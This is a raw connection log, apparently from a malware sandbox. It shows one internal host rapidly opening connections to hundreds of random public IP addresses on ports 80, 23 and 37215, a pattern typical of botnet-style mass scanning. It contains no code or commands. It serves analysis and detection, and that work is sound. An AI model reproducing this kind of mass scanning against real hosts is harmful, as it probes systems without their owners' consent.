Jan 5, 2025 14:34:54.054694891 CET	44712	37215	192.168.2.13	156.29.43.93
Jan 5, 2025 14:34:54.054704905 CET	29476	23	192.168.2.13	105.235.22.250
Jan 5, 2025 14:34:54.054708958 CET	58112	80	192.168.2.13	48.250.215.171
Jan 5, 2025 14:34:54.054708958 CET	47546	80	192.168.2.13	220.83.51.33
Jan 5, 2025 14:34:54.054717064 CET	80	49834	95.145.163.29	192.168.2.13
Jan 5, 2025 14:34:54.054719925 CET	41164	80	192.168.2.13	1.166.123.153
Jan 5, 2025 14:34:54.054727077 CET	37215	44628	156.64.87.47	192.168.2.13
Jan 5, 2025 14:34:54.054728031 CET	34570	80	192.168.2.13	113.255.83.238
Jan 5, 2025 14:34:54.054735899 CET	80	41514	161.107.166.33	192.168.2.13
Jan 5, 2025 14:34:54.054744959 CET	80	39636	72.145.72.193	192.168.2.13
Jan 5, 2025 14:34:54.054754019 CET	44628	37215	192.168.2.13	156.64.87.47
Jan 5, 2025 14:34:54.054754972 CET	80	38472	5.252.142.147	192.168.2.13
Jan 5, 2025 14:34:54.054757118 CET	49834	80	192.168.2.13	95.145.163.29
Jan 5, 2025 14:34:54.054761887 CET	41514	80	192.168.2.13	161.107.166.33
Jan 5, 2025 14:34:54.054779053 CET	39636	80	192.168.2.13	72.145.72.193
Jan 5, 2025 14:34:54.054783106 CET	38472	80	192.168.2.13	5.252.142.147
Jan 5, 2025 14:34:54.054832935 CET	29477	80	192.168.2.13	203.249.13.96
Jan 5, 2025 14:34:54.054832935 CET	29477	80	192.168.2.13	92.178.11.42
Jan 5, 2025 14:34:54.054850101 CET	29477	80	192.168.2.13	173.198.213.56
Jan 5, 2025 14:34:54.054862022 CET	29477	80	192.168.2.13	104.0.146.7
Jan 5, 2025 14:34:54.054868937 CET	44628	37215	192.168.2.13	156.64.87.47
Jan 5, 2025 14:34:54.054869890 CET	29477	80	192.168.2.13	104.155.122.77
Jan 5, 2025 14:34:54.054869890 CET	29477	80	192.168.2.13	140.87.141.147
Jan 5, 2025 14:34:54.054869890 CET	29477	80	192.168.2.13	219.207.108.172
Jan 5, 2025 14:34:54.054872036 CET	29477	80	192.168.2.13	63.183.245.168
Jan 5, 2025 14:34:54.054872036 CET	29477	80	192.168.2.13	216.141.115.246
Jan 5, 2025 14:34:54.054889917 CET	29477	80	192.168.2.13	164.76.167.228
Jan 5, 2025 14:34:54.054893017 CET	29477	80	192.168.2.13	93.84.225.9
Jan 5, 2025 14:34:54.054893017 CET	29477	80	192.168.2.13	219.133.51.208
Jan 5, 2025 14:34:54.055017948 CET	29479	37215	192.168.2.13	156.82.233.193
Jan 5, 2025 14:34:54.055017948 CET	29477	80	192.168.2.13	45.205.234.130
Jan 5, 2025 14:34:54.055020094 CET	29477	80	192.168.2.13	201.84.122.101
Jan 5, 2025 14:34:54.055022955 CET	29477	80	192.168.2.13	202.147.95.81
Jan 5, 2025 14:34:54.055022955 CET	29479	37215	192.168.2.13	156.73.230.227
Jan 5, 2025 14:34:54.055023909 CET	29479	37215	192.168.2.13	197.26.73.58
Jan 5, 2025 14:34:54.055022955 CET	29477	80	192.168.2.13	24.51.212.144
Jan 5, 2025 14:34:54.055023909 CET	29479	37215	192.168.2.13	156.111.224.39
Jan 5, 2025 14:34:54.055023909 CET	29479	37215	192.168.2.13	197.30.167.35
Jan 5, 2025 14:34:54.055023909 CET	29477	80	192.168.2.13	157.31.119.228
Jan 5, 2025 14:34:54.055023909 CET	29477	80	192.168.2.13	213.7.34.65
Jan 5, 2025 14:34:54.055022955 CET	29477	80	192.168.2.13	66.82.13.20
Jan 5, 2025 14:34:54.055023909 CET	29477	80	192.168.2.13	176.29.217.87
Jan 5, 2025 14:34:54.055026054 CET	29479	37215	192.168.2.13	156.3.159.238
Jan 5, 2025 14:34:54.055022955 CET	29479	37215	192.168.2.13	197.185.241.255
Jan 5, 2025 14:34:54.055023909 CET	29479	37215	192.168.2.13	41.171.169.39
Jan 5, 2025 14:34:54.055026054 CET	29477	80	192.168.2.13	163.157.56.148
Jan 5, 2025 14:34:54.055022955 CET	29479	37215	192.168.2.13	156.114.175.88
Jan 5, 2025 14:34:54.055026054 CET	29479	37215	192.168.2.13	41.156.43.96
Jan 5, 2025 14:34:54.055026054 CET	29477	80	192.168.2.13	40.20.5.31
Jan 5, 2025 14:34:54.055026054 CET	29479	37215	192.168.2.13	197.12.35.119
Jan 5, 2025 14:34:54.055128098 CET	29479	37215	192.168.2.13	197.223.237.93
Jan 5, 2025 14:34:54.055128098 CET	29479	37215	192.168.2.13	41.61.173.191
Jan 5, 2025 14:34:54.055128098 CET	29479	37215	192.168.2.13	197.159.234.59
Jan 5, 2025 14:34:54.055128098 CET	29479	37215	192.168.2.13	156.231.189.97
Jan 5, 2025 14:34:54.055174112 CET	29479	37215	192.168.2.13	41.218.140.33
Jan 5, 2025 14:34:54.055174112 CET	29477	80	192.168.2.13	82.88.129.72
Jan 5, 2025 14:34:54.055174112 CET	29477	80	192.168.2.13	47.151.70.168
Jan 5, 2025 14:34:54.055174112 CET	29479	37215	192.168.2.13	156.220.55.251
Jan 5, 2025 14:34:54.055174112 CET	29479	37215	192.168.2.13	197.42.143.227
Jan 5, 2025 14:34:54.055174112 CET	29479	37215	192.168.2.13	197.2.177.164
Jan 5, 2025 14:34:54.055174112 CET	29479	37215	192.168.2.13	156.245.4.88
Jan 5, 2025 14:34:54.055175066 CET	29479	37215	192.168.2.13	41.179.90.175
Jan 5, 2025 14:34:54.055176973 CET	29477	80	192.168.2.13	50.217.176.234
Jan 5, 2025 14:34:54.055176973 CET	29477	80	192.168.2.13	94.2.158.45
Jan 5, 2025 14:34:54.055176973 CET	29477	80	192.168.2.13	207.135.117.160
Jan 5, 2025 14:34:54.055180073 CET	29477	80	192.168.2.13	112.254.162.120
Jan 5, 2025 14:34:54.055180073 CET	29477	80	192.168.2.13	184.73.156.86
Jan 5, 2025 14:34:54.055180073 CET	29477	80	192.168.2.13	82.25.34.214
Jan 5, 2025 14:34:54.055180073 CET	29477	80	192.168.2.13	123.255.27.173
Jan 5, 2025 14:34:54.055181026 CET	29479	37215	192.168.2.13	197.12.39.29
Jan 5, 2025 14:34:54.055182934 CET	29477	80	192.168.2.13	165.239.89.135
Jan 5, 2025 14:34:54.055180073 CET	29477	80	192.168.2.13	83.231.167.41
Jan 5, 2025 14:34:54.055182934 CET	29477	80	192.168.2.13	76.23.180.213
Jan 5, 2025 14:34:54.055181980 CET	29477	80	192.168.2.13	184.115.4.74
Jan 5, 2025 14:34:54.055180073 CET	29477	80	192.168.2.13	119.160.218.5
Jan 5, 2025 14:34:54.055180073 CET	29477	80	192.168.2.13	24.196.221.197
Jan 5, 2025 14:34:54.055186033 CET	29477	80	192.168.2.13	103.254.116.164
Jan 5, 2025 14:34:54.055180073 CET	29479	37215	192.168.2.13	41.244.114.101
Jan 5, 2025 14:34:54.055186033 CET	29477	80	192.168.2.13	145.76.152.140
Jan 5, 2025 14:34:54.055182934 CET	29477	80	192.168.2.13	69.106.76.73
Jan 5, 2025 14:34:54.055180073 CET	29479	37215	192.168.2.13	197.253.86.90
Jan 5, 2025 14:34:54.055186033 CET	29477	80	192.168.2.13	27.101.61.178
Jan 5, 2025 14:34:54.055182934 CET	29479	37215	192.168.2.13	197.97.245.204
Jan 5, 2025 14:34:54.055186033 CET	29479	37215	192.168.2.13	41.238.208.229
Jan 5, 2025 14:34:54.055186033 CET	29477	80	192.168.2.13	193.89.216.200
Jan 5, 2025 14:34:54.055180073 CET	29479	37215	192.168.2.13	41.167.87.48
Jan 5, 2025 14:34:54.055182934 CET	29477	80	192.168.2.13	117.210.35.139
Jan 5, 2025 14:34:54.055186987 CET	29479	37215	192.168.2.13	156.228.182.164
Jan 5, 2025 14:34:54.055182934 CET	29477	80	192.168.2.13	73.218.48.114
Jan 5, 2025 14:34:54.055181026 CET	29479	37215	192.168.2.13	156.53.187.220
Jan 5, 2025 14:34:54.055186033 CET	29477	80	192.168.2.13	90.128.15.10
Jan 5, 2025 14:34:54.055186987 CET	29479	37215	192.168.2.13	41.228.217.81
Jan 5, 2025 14:34:54.055180073 CET	29479	37215	192.168.2.13	197.134.42.109
Jan 5, 2025 14:34:54.055181026 CET	29477	80	192.168.2.13	109.250.206.81
Jan 5, 2025 14:34:54.055182934 CET	29477	80	192.168.2.13	95.16.217.152
Jan 5, 2025 14:34:54.055181980 CET	29479	37215	192.168.2.13	41.72.205.5
Jan 5, 2025 14:34:54.055181980 CET	29477	80	192.168.2.13	43.242.40.107
Jan 5, 2025 14:34:54.055181980 CET	29477	80	192.168.2.13	37.76.129.199
Jan 5, 2025 14:34:54.055186987 CET	29477	80	192.168.2.13	218.89.184.112
Jan 5, 2025 14:34:54.055180073 CET	29477	80	192.168.2.13	2.81.205.225
Jan 5, 2025 14:34:54.055186987 CET	29479	37215	192.168.2.13	197.53.156.62
Jan 5, 2025 14:34:54.055182934 CET	29479	37215	192.168.2.13	197.55.155.110
Jan 5, 2025 14:34:54.055181980 CET	29477	80	192.168.2.13	140.85.218.115
Jan 5, 2025 14:34:54.055180073 CET	29479	37215	192.168.2.13	197.84.53.171
Jan 5, 2025 14:34:54.055186987 CET	29479	37215	192.168.2.13	41.87.25.100
Jan 5, 2025 14:34:54.055181980 CET	29479	37215	192.168.2.13	41.20.195.158
Jan 5, 2025 14:34:54.055186987 CET	29479	37215	192.168.2.13	41.157.108.199
Jan 5, 2025 14:34:54.055182934 CET	29477	80	192.168.2.13	114.61.11.1
Jan 5, 2025 14:34:54.055181980 CET	29479	37215	192.168.2.13	197.250.32.201
Jan 5, 2025 14:34:54.055182934 CET	29477	80	192.168.2.13	199.102.236.236
Jan 5, 2025 14:34:54.055182934 CET	29477	80	192.168.2.13	165.108.61.9
Jan 5, 2025 14:34:54.055182934 CET	29477	80	192.168.2.13	183.155.164.97
Jan 5, 2025 14:34:54.055182934 CET	29479	37215	192.168.2.13	41.9.240.50
Jan 5, 2025 14:34:54.055182934 CET	29477	80	192.168.2.13	217.66.41.252
Jan 5, 2025 14:34:54.055222988 CET	29479	37215	192.168.2.13	197.89.31.35
Jan 5, 2025 14:34:54.055223942 CET	29479	37215	192.168.2.13	41.103.85.149
Jan 5, 2025 14:34:54.055222988 CET	29479	37215	192.168.2.13	156.163.69.204
Jan 5, 2025 14:34:54.055223942 CET	29477	80	192.168.2.13	34.6.64.209
Jan 5, 2025 14:34:54.055226088 CET	29477	80	192.168.2.13	108.187.47.123
Jan 5, 2025 14:34:54.055222988 CET	29479	37215	192.168.2.13	156.46.250.128
Jan 5, 2025 14:34:54.055226088 CET	29477	80	192.168.2.13	92.240.135.171
Jan 5, 2025 14:34:54.055222988 CET	29477	80	192.168.2.13	147.182.66.248
Jan 5, 2025 14:34:54.055226088 CET	29479	37215	192.168.2.13	197.201.183.110
Jan 5, 2025 14:34:54.055222988 CET	29479	37215	192.168.2.13	41.184.114.119
Jan 5, 2025 14:34:54.055226088 CET	29479	37215	192.168.2.13	156.39.193.84
Jan 5, 2025 14:34:54.055226088 CET	29477	80	192.168.2.13	154.35.122.131
Jan 5, 2025 14:34:54.055222988 CET	29479	37215	192.168.2.13	197.88.109.221
Jan 5, 2025 14:34:54.055226088 CET	29479	37215	192.168.2.13	156.32.152.59
Jan 5, 2025 14:34:54.055351019 CET	29477	80	192.168.2.13	95.67.170.147
Jan 5, 2025 14:34:54.055351019 CET	29477	80	192.168.2.13	166.171.223.117
Jan 5, 2025 14:34:54.055351019 CET	29479	37215	192.168.2.13	156.23.73.147
Jan 5, 2025 14:34:54.055418968 CET	29477	80	192.168.2.13	103.250.145.233
Jan 5, 2025 14:34:54.055419922 CET	29477	80	192.168.2.13	70.234.209.153
Jan 5, 2025 14:34:54.055421114 CET	29479	37215	192.168.2.13	41.46.175.215
Jan 5, 2025 14:34:54.055421114 CET	29477	80	192.168.2.13	65.46.156.65
Jan 5, 2025 14:34:54.055419922 CET	29477	80	192.168.2.13	67.228.102.110
Jan 5, 2025 14:34:54.055421114 CET	29479	37215	192.168.2.13	41.134.185.234
Jan 5, 2025 14:34:54.055421114 CET	29477	80	192.168.2.13	45.248.158.79
Jan 5, 2025 14:34:54.055423021 CET	29477	80	192.168.2.13	86.6.12.47
Jan 5, 2025 14:34:54.055418968 CET	29479	37215	192.168.2.13	41.240.102.163
Jan 5, 2025 14:34:54.055421114 CET	29479	37215	192.168.2.13	41.205.203.66
Jan 5, 2025 14:34:54.055421114 CET	29477	80	192.168.2.13	69.27.255.6
Jan 5, 2025 14:34:54.055421114 CET	29479	37215	192.168.2.13	156.203.111.117
Jan 5, 2025 14:34:54.055421114 CET	29477	80	192.168.2.13	78.236.137.77
Jan 5, 2025 14:34:54.055419922 CET	29477	80	192.168.2.13	217.176.169.162
Jan 5, 2025 14:34:54.055422068 CET	29479	37215	192.168.2.13	41.161.96.229
Jan 5, 2025 14:34:54.055421114 CET	29477	80	192.168.2.13	121.225.112.135
Jan 5, 2025 14:34:54.055421114 CET	29477	80	192.168.2.13	57.94.1.151
Jan 5, 2025 14:34:54.055421114 CET	29479	37215	192.168.2.13	197.230.69.80
Jan 5, 2025 14:34:54.055422068 CET	29479	37215	192.168.2.13	41.133.74.163
Jan 5, 2025 14:34:54.055421114 CET	29477	80	192.168.2.13	142.40.211.109
Jan 5, 2025 14:34:54.055421114 CET	29479	37215	192.168.2.13	197.221.30.148
Jan 5, 2025 14:34:54.055421114 CET	29477	80	192.168.2.13	91.172.170.133
Jan 5, 2025 14:34:54.055423975 CET	29479	37215	192.168.2.13	197.124.125.62
Jan 5, 2025 14:34:54.055422068 CET	29479	37215	192.168.2.13	156.114.199.39
Jan 5, 2025 14:34:54.055423975 CET	29477	80	192.168.2.13	186.39.116.136
Jan 5, 2025 14:34:54.055421114 CET	29479	37215	192.168.2.13	197.88.134.35
Jan 5, 2025 14:34:54.055421114 CET	29477	80	192.168.2.13	88.120.123.105
Jan 5, 2025 14:34:54.055421114 CET	29477	80	192.168.2.13	158.66.189.111
Jan 5, 2025 14:34:54.055421114 CET	29479	37215	192.168.2.13	197.106.78.103
Jan 5, 2025 14:34:54.055418968 CET	29479	37215	192.168.2.13	197.220.242.146
Jan 5, 2025 14:34:54.055423975 CET	29477	80	192.168.2.13	203.129.247.36
Jan 5, 2025 14:34:54.055422068 CET	29477	80	192.168.2.13	105.123.163.100
Jan 5, 2025 14:34:54.055419922 CET	29479	37215	192.168.2.13	41.194.194.60
Jan 5, 2025 14:34:54.055421114 CET	29477	80	192.168.2.13	82.219.43.60
Jan 5, 2025 14:34:54.055421114 CET	29479	37215	192.168.2.13	41.53.182.17
Jan 5, 2025 14:34:54.055421114 CET	29477	80	192.168.2.13	116.6.193.203
Jan 5, 2025 14:34:54.055421114 CET	29477	80	192.168.2.13	171.145.150.86
Jan 5, 2025 14:34:54.055419922 CET	29479	37215	192.168.2.13	156.128.44.14
Jan 5, 2025 14:34:54.055421114 CET	29477	80	192.168.2.13	160.145.27.13
Jan 5, 2025 14:34:54.055419922 CET	29479	37215	192.168.2.13	156.60.224.166
Jan 5, 2025 14:34:54.055421114 CET	29477	80	192.168.2.13	178.20.156.80
Jan 5, 2025 14:34:54.055419922 CET	29479	37215	192.168.2.13	41.32.205.88
Jan 5, 2025 14:34:54.055423975 CET	29477	80	192.168.2.13	67.255.169.201
Jan 5, 2025 14:34:54.055421114 CET	29477	80	192.168.2.13	35.0.181.49
Jan 5, 2025 14:34:54.055421114 CET	29477	80	192.168.2.13	109.239.255.234
Jan 5, 2025 14:34:54.055423975 CET	29477	80	192.168.2.13	206.153.243.57
Jan 5, 2025 14:34:54.055418968 CET	29479	37215	192.168.2.13	41.9.90.90
Jan 5, 2025 14:34:54.055422068 CET	29479	37215	192.168.2.13	197.91.242.152
Jan 5, 2025 14:34:54.055421114 CET	29477	80	192.168.2.13	37.210.162.200
Jan 5, 2025 14:34:54.055422068 CET	29479	37215	192.168.2.13	156.166.96.208
Jan 5, 2025 14:34:54.055421114 CET	29479	37215	192.168.2.13	41.86.19.23
Jan 5, 2025 14:34:54.055419922 CET	29477	80	192.168.2.13	69.47.132.251
Jan 5, 2025 14:34:54.055423975 CET	29479	37215	192.168.2.13	41.24.150.190
Jan 5, 2025 14:34:54.055421114 CET	29479	37215	192.168.2.13	156.47.170.166
Jan 5, 2025 14:34:54.055423975 CET	29477	80	192.168.2.13	32.223.222.170
Jan 5, 2025 14:34:54.055421114 CET	29477	80	192.168.2.13	103.162.76.238
Jan 5, 2025 14:34:54.055421114 CET	29479	37215	192.168.2.13	156.129.217.24
Jan 5, 2025 14:34:54.055418968 CET	29479	37215	192.168.2.13	41.9.58.34
Jan 5, 2025 14:34:54.055422068 CET	29477	80	192.168.2.13	100.51.170.51
Jan 5, 2025 14:34:54.055464029 CET	29479	37215	192.168.2.13	156.217.168.203
Jan 5, 2025 14:34:54.055418968 CET	29479	37215	192.168.2.13	197.144.146.175
Jan 5, 2025 14:34:54.055422068 CET	29477	80	192.168.2.13	191.181.13.8
Jan 5, 2025 14:34:54.055419922 CET	29479	37215	192.168.2.13	41.183.42.55
Jan 5, 2025 14:34:54.055464029 CET	29477	80	192.168.2.13	148.203.171.203
Jan 5, 2025 14:34:54.055421114 CET	29477	80	192.168.2.13	2.48.196.151
Jan 5, 2025 14:34:54.055419922 CET	29477	80	192.168.2.13	95.87.194.132
Jan 5, 2025 14:34:54.055464029 CET	29477	80	192.168.2.13	149.125.125.186
Jan 5, 2025 14:34:54.055464029 CET	29477	80	192.168.2.13	162.54.150.121
Jan 5, 2025 14:34:54.055464029 CET	29477	80	192.168.2.13	81.179.174.196
Jan 5, 2025 14:34:54.055464029 CET	29477	80	192.168.2.13	36.255.11.249
Jan 5, 2025 14:34:54.055480003 CET	29479	37215	192.168.2.13	41.159.199.221
Jan 5, 2025 14:34:54.055464029 CET	29477	80	192.168.2.13	48.132.205.231
Jan 5, 2025 14:34:54.055480003 CET	29477	80	192.168.2.13	185.203.148.234
Jan 5, 2025 14:34:54.055464029 CET	29477	80	192.168.2.13	138.101.106.242
Jan 5, 2025 14:34:54.055480003 CET	29479	37215	192.168.2.13	41.110.80.201
Jan 5, 2025 14:34:54.055480003 CET	29477	80	192.168.2.13	195.147.196.96
Jan 5, 2025 14:34:54.055480003 CET	29477	80	192.168.2.13	24.117.133.190
Jan 5, 2025 14:34:54.055480003 CET	29479	37215	192.168.2.13	41.95.39.188
Jan 5, 2025 14:34:54.055480003 CET	29477	80	192.168.2.13	93.216.203.63
Jan 5, 2025 14:34:54.055480003 CET	29477	80	192.168.2.13	77.237.17.210
Jan 5, 2025 14:34:54.055485010 CET	29479	37215	192.168.2.13	197.18.46.166
Jan 5, 2025 14:34:54.055485010 CET	29479	37215	192.168.2.13	41.101.248.231
Jan 5, 2025 14:34:54.055485964 CET	29477	80	192.168.2.13	9.37.229.252
Jan 5, 2025 14:34:54.055485010 CET	29477	80	192.168.2.13	77.0.70.53
Jan 5, 2025 14:34:54.055485964 CET	29477	80	192.168.2.13	191.7.40.78
Jan 5, 2025 14:34:54.055485010 CET	29479	37215	192.168.2.13	41.126.2.237
Jan 5, 2025 14:34:54.055485964 CET	29477	80	192.168.2.13	43.16.83.249
Jan 5, 2025 14:34:54.055485010 CET	29477	80	192.168.2.13	31.225.218.229
Jan 5, 2025 14:34:54.055485964 CET	29479	37215	192.168.2.13	41.147.19.165
Jan 5, 2025 14:34:54.055485010 CET	29479	37215	192.168.2.13	41.150.198.120
Jan 5, 2025 14:34:54.055485964 CET	29477	80	192.168.2.13	171.168.21.163
Jan 5, 2025 14:34:54.055485010 CET	29479	37215	192.168.2.13	156.108.11.171
Jan 5, 2025 14:34:54.055485964 CET	29477	80	192.168.2.13	128.173.177.172
Jan 5, 2025 14:34:54.055485010 CET	29479	37215	192.168.2.13	197.118.196.117
Jan 5, 2025 14:34:54.055488110 CET	29477	80	192.168.2.13	204.21.86.38
Jan 5, 2025 14:34:54.055494070 CET	29477	80	192.168.2.13	162.66.171.49
Jan 5, 2025 14:34:54.055488110 CET	29477	80	192.168.2.13	122.4.57.230
Jan 5, 2025 14:34:54.055494070 CET	29479	37215	192.168.2.13	41.130.120.124
Jan 5, 2025 14:34:54.055494070 CET	29479	37215	192.168.2.13	197.43.211.153
Jan 5, 2025 14:34:54.055495024 CET	29479	37215	192.168.2.13	197.41.38.28
Jan 5, 2025 14:34:54.055494070 CET	29477	80	192.168.2.13	192.110.0.120
Jan 5, 2025 14:34:54.055488110 CET	29479	37215	192.168.2.13	197.186.215.219
Jan 5, 2025 14:34:54.055485964 CET	29479	37215	192.168.2.13	41.148.134.129
Jan 5, 2025 14:34:54.055494070 CET	29479	37215	192.168.2.13	197.177.66.98
Jan 5, 2025 14:34:54.055495024 CET	29479	37215	192.168.2.13	41.118.30.228
Jan 5, 2025 14:34:54.055485964 CET	29479	37215	192.168.2.13	41.166.26.105
Jan 5, 2025 14:34:54.055495024 CET	29477	80	192.168.2.13	59.179.86.52
Jan 5, 2025 14:34:54.055494070 CET	29479	37215	192.168.2.13	156.69.186.62
Jan 5, 2025 14:34:54.055495024 CET	29477	80	192.168.2.13	137.17.8.250
Jan 5, 2025 14:34:54.055502892 CET	29479	37215	192.168.2.13	197.32.71.61
Jan 5, 2025 14:34:54.055488110 CET	29477	80	192.168.2.13	25.182.236.47
Jan 5, 2025 14:34:54.055495024 CET	29479	37215	192.168.2.13	156.158.152.237
Jan 5, 2025 14:34:54.055494070 CET	29477	80	192.168.2.13	209.77.233.22
Jan 5, 2025 14:34:54.055502892 CET	29479	37215	192.168.2.13	41.9.174.19
Jan 5, 2025 14:34:54.055494070 CET	29479	37215	192.168.2.13	41.12.238.72
Jan 5, 2025 14:34:54.055494070 CET	29479	37215	192.168.2.13	156.170.14.168
Jan 5, 2025 14:34:54.055494070 CET	29477	80	192.168.2.13	102.187.99.235
Jan 5, 2025 14:34:54.055488110 CET	29479	37215	192.168.2.13	41.217.65.108
Jan 5, 2025 14:34:54.055494070 CET	29479	37215	192.168.2.13	197.228.218.151
Jan 5, 2025 14:34:54.055488110 CET	29479	37215	192.168.2.13	156.20.159.251
Jan 5, 2025 14:34:54.055494070 CET	29479	37215	192.168.2.13	197.195.30.83
Jan 5, 2025 14:34:54.055495977 CET	29477	80	192.168.2.13	136.88.109.217
Jan 5, 2025 14:34:54.055502892 CET	29479	37215	192.168.2.13	41.68.121.70
Jan 5, 2025 14:34:54.055488110 CET	29477	80	192.168.2.13	148.90.190.144
Jan 5, 2025 14:34:54.055495977 CET	29477	80	192.168.2.13	62.8.95.64
Jan 5, 2025 14:34:54.055502892 CET	29477	80	192.168.2.13	104.49.33.244
Jan 5, 2025 14:34:54.055488110 CET	29477	80	192.168.2.13	218.95.242.153
Jan 5, 2025 14:34:54.055495977 CET	29477	80	192.168.2.13	74.231.152.32
Jan 5, 2025 14:34:54.055495024 CET	29477	80	192.168.2.13	57.116.141.14
Jan 5, 2025 14:34:54.055494070 CET	29479	37215	192.168.2.13	197.217.42.166
Jan 5, 2025 14:34:54.055516005 CET	29477	80	192.168.2.13	43.50.31.146
Jan 5, 2025 14:34:54.055494070 CET	29477	80	192.168.2.13	32.118.141.243
Jan 5, 2025 14:34:54.055516005 CET	29477	80	192.168.2.13	216.32.101.42
Jan 5, 2025 14:34:54.055502892 CET	29477	80	192.168.2.13	183.44.38.87
Jan 5, 2025 14:34:54.055516005 CET	29477	80	192.168.2.13	165.32.151.11
Jan 5, 2025 14:34:54.055531025 CET	29479	37215	192.168.2.13	41.156.110.86
Jan 5, 2025 14:34:54.055516005 CET	29477	80	192.168.2.13	123.220.192.221
Jan 5, 2025 14:34:54.055495024 CET	29479	37215	192.168.2.13	41.206.15.122
Jan 5, 2025 14:34:54.055502892 CET	29477	80	192.168.2.13	150.97.41.6
Jan 5, 2025 14:34:54.055516005 CET	29479	37215	192.168.2.13	41.210.142.228
Jan 5, 2025 14:34:54.055502892 CET	29477	80	192.168.2.13	171.20.20.63
Jan 5, 2025 14:34:54.055531025 CET	29479	37215	192.168.2.13	156.28.219.217
Jan 5, 2025 14:34:54.055495024 CET	29479	37215	192.168.2.13	197.160.33.111
Jan 5, 2025 14:34:54.055531025 CET	29479	37215	192.168.2.13	41.175.137.157
Jan 5, 2025 14:34:54.055502892 CET	29479	37215	192.168.2.13	156.157.81.167
Jan 5, 2025 14:34:54.055531025 CET	29477	80	192.168.2.13	82.249.29.112
Jan 5, 2025 14:34:54.055535078 CET	29479	37215	192.168.2.13	156.217.82.32
Jan 5, 2025 14:34:54.055495977 CET	29479	37215	192.168.2.13	156.232.62.239
Jan 5, 2025 14:34:54.055535078 CET	29479	37215	192.168.2.13	197.96.155.8
Jan 5, 2025 14:34:54.055495977 CET	29477	80	192.168.2.13	82.120.108.232
Jan 5, 2025 14:34:54.055535078 CET	29477	80	192.168.2.13	34.225.44.211
Jan 5, 2025 14:34:54.055516005 CET	29479	37215	192.168.2.13	197.140.34.242
Jan 5, 2025 14:34:54.055535078 CET	29477	80	192.168.2.13	120.42.145.33
Jan 5, 2025 14:34:54.055495977 CET	29477	80	192.168.2.13	183.208.127.218
Jan 5, 2025 14:34:54.055535078 CET	29477	80	192.168.2.13	64.140.121.95
Jan 5, 2025 14:34:54.055495977 CET	29477	80	192.168.2.13	110.191.119.212
Jan 5, 2025 14:34:54.055535078 CET	29477	80	192.168.2.13	118.221.210.175
Jan 5, 2025 14:34:54.055531025 CET	29477	80	192.168.2.13	18.114.222.26
Jan 5, 2025 14:34:54.055535078 CET	29479	37215	192.168.2.13	197.11.243.13
Jan 5, 2025 14:34:54.055516005 CET	29479	37215	192.168.2.13	156.207.136.221
Jan 5, 2025 14:34:54.055535078 CET	29477	80	192.168.2.13	134.231.15.49
Jan 5, 2025 14:34:54.055495977 CET	29477	80	192.168.2.13	48.109.141.145
Jan 5, 2025 14:34:54.055531025 CET	29479	37215	192.168.2.13	41.23.220.124
Jan 5, 2025 14:34:54.055552006 CET	29477	80	192.168.2.13	207.19.245.93
Jan 5, 2025 14:34:54.055516005 CET	29477	80	192.168.2.13	217.117.218.207
Jan 5, 2025 14:34:54.055552006 CET	29479	37215	192.168.2.13	156.70.231.121
Jan 5, 2025 14:34:54.055541039 CET	29477	80	192.168.2.13	204.98.155.171
Jan 5, 2025 14:34:54.055552006 CET	29479	37215	192.168.2.13	197.122.50.230
Jan 5, 2025 14:34:54.055555105 CET	29479	37215	192.168.2.13	197.38.150.224
Jan 5, 2025 14:34:54.055541039 CET	29477	80	192.168.2.13	171.108.227.43
Jan 5, 2025 14:34:54.055552006 CET	29479	37215	192.168.2.13	156.166.165.93
Jan 5, 2025 14:34:54.055557966 CET	29479	37215	192.168.2.13	41.80.18.91
Jan 5, 2025 14:34:54.055531025 CET	29477	80	192.168.2.13	80.85.117.47
Jan 5, 2025 14:34:54.055557966 CET	29477	80	192.168.2.13	43.64.241.164
Jan 5, 2025 14:34:54.055555105 CET	29477	80	192.168.2.13	82.193.163.40
Jan 5, 2025 14:34:54.055552006 CET	29477	80	192.168.2.13	182.11.198.210
Jan 5, 2025 14:34:54.055555105 CET	29477	80	192.168.2.13	177.90.186.78
Jan 5, 2025 14:34:54.055552006 CET	29479	37215	192.168.2.13	156.169.245.133
Jan 5, 2025 14:34:54.055555105 CET	29477	80	192.168.2.13	136.230.167.127
Jan 5, 2025 14:34:54.055541039 CET	29479	37215	192.168.2.13	156.101.141.56
Jan 5, 2025 14:34:54.055531025 CET	29479	37215	192.168.2.13	197.0.152.29
Jan 5, 2025 14:34:54.055557966 CET	29477	80	192.168.2.13	175.110.80.239
Jan 5, 2025 14:34:54.055566072 CET	29477	80	192.168.2.13	184.85.39.199
Jan 5, 2025 14:34:54.055557966 CET	29477	80	192.168.2.13	186.186.11.14
Jan 5, 2025 14:34:54.055552006 CET	29479	37215	192.168.2.13	197.140.188.185
Jan 5, 2025 14:34:54.055566072 CET	29479	37215	192.168.2.13	156.93.4.81
Jan 5, 2025 14:34:54.055557966 CET	29479	37215	192.168.2.13	41.157.49.173
Jan 5, 2025 14:34:54.055552006 CET	29477	80	192.168.2.13	58.0.254.60
Jan 5, 2025 14:34:54.055555105 CET	29477	80	192.168.2.13	221.137.147.68
Jan 5, 2025 14:34:54.055557966 CET	29479	37215	192.168.2.13	41.206.166.106
Jan 5, 2025 14:34:54.055566072 CET	29479	37215	192.168.2.13	41.145.34.79
Jan 5, 2025 14:34:54.055565119 CET	29477	80	192.168.2.13	25.240.76.1
Jan 5, 2025 14:34:54.055541039 CET	29477	80	192.168.2.13	17.233.123.247
Jan 5, 2025 14:34:54.055557966 CET	29477	80	192.168.2.13	42.69.7.206
Jan 5, 2025 14:34:54.055576086 CET	29477	80	192.168.2.13	218.66.84.12
Jan 5, 2025 14:34:54.055557966 CET	29477	80	192.168.2.13	42.26.34.246
Jan 5, 2025 14:34:54.055576086 CET	29477	80	192.168.2.13	41.120.209.21
Jan 5, 2025 14:34:54.055541039 CET	29477	80	192.168.2.13	85.72.94.229
Jan 5, 2025 14:34:54.055565119 CET	29477	80	192.168.2.13	85.232.213.179
Jan 5, 2025 14:34:54.055541039 CET	29477	80	192.168.2.13	157.25.251.240
Jan 5, 2025 14:34:54.055566072 CET	29477	80	192.168.2.13	213.231.194.102
Jan 5, 2025 14:34:54.055541039 CET	29477	80	192.168.2.13	146.97.65.174
Jan 5, 2025 14:34:54.055576086 CET	29477	80	192.168.2.13	24.213.2.200
Jan 5, 2025 14:34:54.055562973 CET	29479	37215	192.168.2.13	197.247.10.78
Jan 5, 2025 14:34:54.055581093 CET	29479	37215	192.168.2.13	41.220.60.77
Jan 5, 2025 14:34:54.055565119 CET	29477	80	192.168.2.13	185.74.228.80
